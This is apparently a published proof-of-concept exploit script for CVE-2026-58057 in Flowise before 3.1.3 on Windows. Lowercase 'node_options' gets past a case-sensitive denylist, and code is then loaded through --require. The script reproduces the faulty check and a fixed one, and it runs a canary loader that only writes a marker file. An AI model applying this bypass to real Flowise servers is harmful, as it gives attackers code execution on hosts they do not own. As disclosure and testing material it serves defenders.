# Exploit Title: Flowise 3.1.3 - arbitrary code execution # CVE: CVE-2026-58057 # Date: 2026-06-29 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://flowiseai.com # Software Link: https://github.com/FlowiseAI/Flowise # Affected: Flowise < 3.1.3 (Windows deployments) # Tested on: Windows + Flowise 3.1.2 # Category: Remote Code Execution # Platform: Windows # Exploit Type: Authenticated # CVSS: 2.3 (Medium) # Description: On Windows, the Custom MCP stdio environment variable validation uses case-sensitive comparison. # Supplying "node_options" bypasses the NODE_OPTIONS denylist and allows arbitrary code execution via --require. # Fixed in: 3.1.3 (switched to allow-list) # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # python3 exploit.py --marker C:\\Temp\\pwned.txt # # Notes: # • Requires authenticated access to configure Custom MCP node # • Only affects Windows deployments # • Demonstrates bypass + canary RCE # # How to Use # # Step 1: Run the PoC to validate the bypass # Step 2: In Flowise, configure a Custom MCP node with "node_options" env var pointing to your loader import argparse import json import os import pathlib import platform import shutil import subprocess import sys import tempfile def flowise_style_validate(env): dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} for key, value in env.items(): if key in dangerous: raise ValueError(f"Environment variable {key!r} modification is not allowed") if "\x00" in key or "\x00" in str(value): raise ValueError("Environment variables cannot contain null bytes") def normalized_validate(env): dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"} for key, value in env.items(): if key.upper() in dangerous: raise ValueError(f"Environment variable {key!r} modification is not allowed") if "\x00" in key or "\x00" in str(value): raise ValueError("Environment variables cannot contain null bytes") def run_node_canary(marker): node = shutil.which("node") if not node: return {"node_found": False, "canary_created": False} marker_path = pathlib.Path(marker).resolve() loader_path = marker_path.with_suffix(".loader.js") loader_path.write_text( "require('fs').writeFileSync(process.env.FLOWISE_POC_MARKER, 'node_options honored - RCE achieved!')\n", encoding="utf-8", ) env = os.environ.copy() env.pop("NODE_OPTIONS", None) env.pop("node_options", None) env["node_options"] = f"--require {loader_path}" env["FLOWISE_POC_MARKER"] = str(marker_path) if marker_path.exists(): marker_path.unlink() completed = subprocess.run( [node, "-e", "process.exit(0)"], env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) return { "node_found": True, "node": node, "returncode": completed.returncode, "stderr": completed.stderr.strip(), "marker": str(marker_path), "canary_created": marker_path.exists(), "canary_content": marker_path.read_text(encoding="utf-8") if marker_path.exists() else "", } def run(marker): exact_upper_blocked = False lower_variant_accepted = False normalized_blocks_lower = False try: flowise_style_validate({"NODE_OPTIONS": "--require blocked.js"}) except ValueError: exact_upper_blocked = True try: flowise_style_validate({"node_options": "--require accepted.js"}) lower_variant_accepted = True except ValueError: lower_variant_accepted = False try: normalized_validate({"node_options": "--require accepted.js"}) except ValueError: normalized_blocks_lower = True node_result = run_node_canary(marker) result = { "platform": platform.platform(), "windows": os.name == "nt", "flowise_style_exact_upper_blocked": exact_upper_blocked, "flowise_style_lower_variant_accepted": lower_variant_accepted, "normalized_validator_blocks_lower_variant": normalized_blocks_lower, "node_canary": node_result, "finding_reproduced": lower_variant_accepted and (node_result.get("canary_created") if os.name == "nt" else True), } print(json.dumps(result, indent=2)) return 0 if result["finding_reproduced"] else 1 def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def main(): banner() parser = argparse.ArgumentParser(description="CVE-2026-58057 PoC") parser.add_argument("--marker", default=str(pathlib.Path(tempfile.gettempdir()) / "flowise_node_options_case_bypass_marker.txt")) args = parser.parse_args() raise SystemExit(run(args.marker)) if __name__ == "__main__": main()